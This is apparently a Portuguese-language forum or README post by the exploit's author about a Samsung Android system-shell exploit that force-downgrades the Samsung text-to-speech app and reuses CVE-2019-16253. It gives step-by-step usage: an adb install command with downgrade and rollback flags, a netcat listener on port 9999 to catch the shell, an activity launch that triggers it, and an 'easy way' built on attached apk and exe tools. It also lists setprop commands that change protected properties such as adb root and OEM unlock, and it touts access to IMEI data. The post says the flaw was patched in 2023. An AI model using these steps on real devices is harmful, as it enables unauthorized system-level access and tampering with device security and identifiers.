
Exploit que descobri em outubro de 2022 no binário do gerenciador de pacotes (pm) do Android e na forma como ele lidava com flags de depuração, corrigido em março de 2023. Usa a CVE-2019-16253 como payload para obter um shell de sistema.
Lá em 2019, uma vulnerabilidade que viria a ser conhecida como "CVE-2019-16253" foi encontrada e afetava o mecanismo TTS da Samsung em versões anteriores a 3.0.02.7. Esse exploit permitia que um atacante local escalasse privilégios para privilégios de sistema e foi posteriormente corrigido pela Samsung.
Essencialmente, o aplicativo TTS da Samsung aceitava cegamente qualquer dado que recebesse do mecanismo TTS. Você pode passar ao mecanismo TTS uma biblioteca que será então entregue ao aplicativo TTS, que por sua vez carregará essa biblioteca e a executará com privilégios de sistema, UID 1000 no Android. Isso foi posteriormente corrigido para que o aplicativo TTS verificasse os dados provenientes do mecanismo e a versão instalada, fechando essa brecha específica.
No entanto, com o Android 10, o Google introduziu a capacidade de reverter um aplicativo instalando-o com o parâmetro ENABLE_ROLLBACK. Isso permite que o usuário reverta uma versão de um aplicativo instalado no dispositivo para uma versão anterior do aplicativo instalado no dispositivo. Acredito que uma falha de supervisão permitiu que isso se estendesse ao aplicativo de texto-para-fala da Samsung, bem como a qualquer aplicativo em qualquer dispositivo Android 10+ atualmente em circulação.
A raiz desta kill-chain toda remonta à flag '-d' adicionada ao comando do gerenciador de pacotes ao instalar um aplicativo. Ela deveria funcionar apenas para aplicativos depuráveis, mas também funciona para aplicativos não depuráveis, e é por isso que o aplicativo TTS pode ser rebaixado à força.
Em outras palavras, enquanto o exploit de 2019 foi corrigido e uma versão atualizada do aplicativo TTS foi distribuída, primeiro um, agora múltiplos workarounds & bypasses para instalar e explorá-lo em dispositivos lançados três (e talvez quatro) anos depois foram descobertos, levantando questões sobre quantos exploits antigos são reativáveis.
Em março, a Samsung lançou um patch para o exploit; no entanto, fui capaz de encontrar rapidamente um workaround para o patch de março da Samsung, e isso desde então foi relatado e corrigido, também, concluindo a saga de 2 anos do infame "TTS System Shell"
Guia simples --
1 Instale todos os apks, abra pelo menos uma vez.
2 Reinicie, quando o dispositivo reiniciar, execute o seguinte comando a partir do ADB.
"adb shell pm install -r -d -f -g --full --install-reason 3 --enable-rollback /data/local/tmp/samsungTTSVULN2.apk "
3 em um console, digite nc -lp 9999
4 Execute o seguinte comando em um segundo console: adb shell am start -n com.samsung.SMT/.gui.DownloadList
FEITO.
se você tiver problemas com ele não iniciando, desinstale o SMT (Samsung Text-To-Speech) completamente, depois reinstale a versão vulnerável e tente novamente a partir do passo 3 em diante.
CORRIGIDO EM 02/2023
Como visto no XDA antes de a divulgação pública ser removida pelos moderadores do XDA.
Fora isso, permanecerá inalterado aqui como um arquivo.
Espera-se que funcione em todos os dispositivos móveis Samsung fabricados até o momento em que este artigo foi escrito, exceto em alguns dispositivos JDM. (01/19/2023)
Coisas legais que funcionam:
Acesso à maior parte de /efs /efs/imei /efs/sec_efs /efs/FactoryApp - Acesso à maior parte de /data /data/system /data/user/0/ANY_SYSTEM_APP - O binário "Insthk" torna-se utilizável, - Secure Folder/Apps Separados fica COMPLETAMENTE comprometido se você também instalar o POC nele (UID 150_system) - iniciar Menu IOTHidden, Modo DM, Modo de Serviço, Depuração Múltipla e menus ocultos, bem como pré-configuração no contexto do sistema- Alterar muitas propriedades protegidas, tais como: setprop persist.service.adb.root 1 setprop service.adb.root 1 setprop sys.hidden.otatest 1 setprop sys.hiddenmenu.enable 1 setprop persist.sys.knox.device_owner true setprop persist.sys.usb.qxdm.debug 1 setprop sys.usb.qxdm.debug 1 setprop presist.service.adb.enable 1 setprop persist.sys.usb.qxdm.debug 1 setprop service.adb.enable 1 setprop persist.rollback.is_test true setprop sys.oem_unlock_allowed 1 Assim como muito mais.
O Caminho Fácil -
Passo 1 - Baixe "Komraids System Shell.zip", (em anexo está a versão mais recente) e extraia em qualquer lugar da área de trabalho. Passo 2 - Envie o "samsungTTSVULN2.apk" para /data/local/tmp Passo 3 - Certifique-se de que a Depuração USB está ATIVADA e o computador está autorizado. Certifique-se também de que a economia de energia está DESATIVADA. Passo 4 - Instale o komraids_POC_V1.5.apk, reinicie o dispositivo. Passo 5 - Quando o dispositivo estiver totalmente reiniciado e desbloqueado, execute systemshell.exe Passo 6 - Agora você deve estar em um shell com UID 1000. Aproveite. Tenha cuidado com o que você mexe.
Coisas a observar: O .exe só precisa ser executado uma vez após cada reinicialização; você pode usá-lo se preferir, ou pode abrir manualmente um shell de sistema, seguindo o Passo 5, de "Como funciona?" abaixo.
Não seja burro, não sou responsável por qualquer merd* que você faça. PWNED - K0mraid3 2022-10-06 175216.png
Muitíssimo obrigado a @oakieville pelo .exe e por muita ajuda ajustando o código deste projeto.
Este projeto foi trazido a você por VAULT-TEC Dev Ops!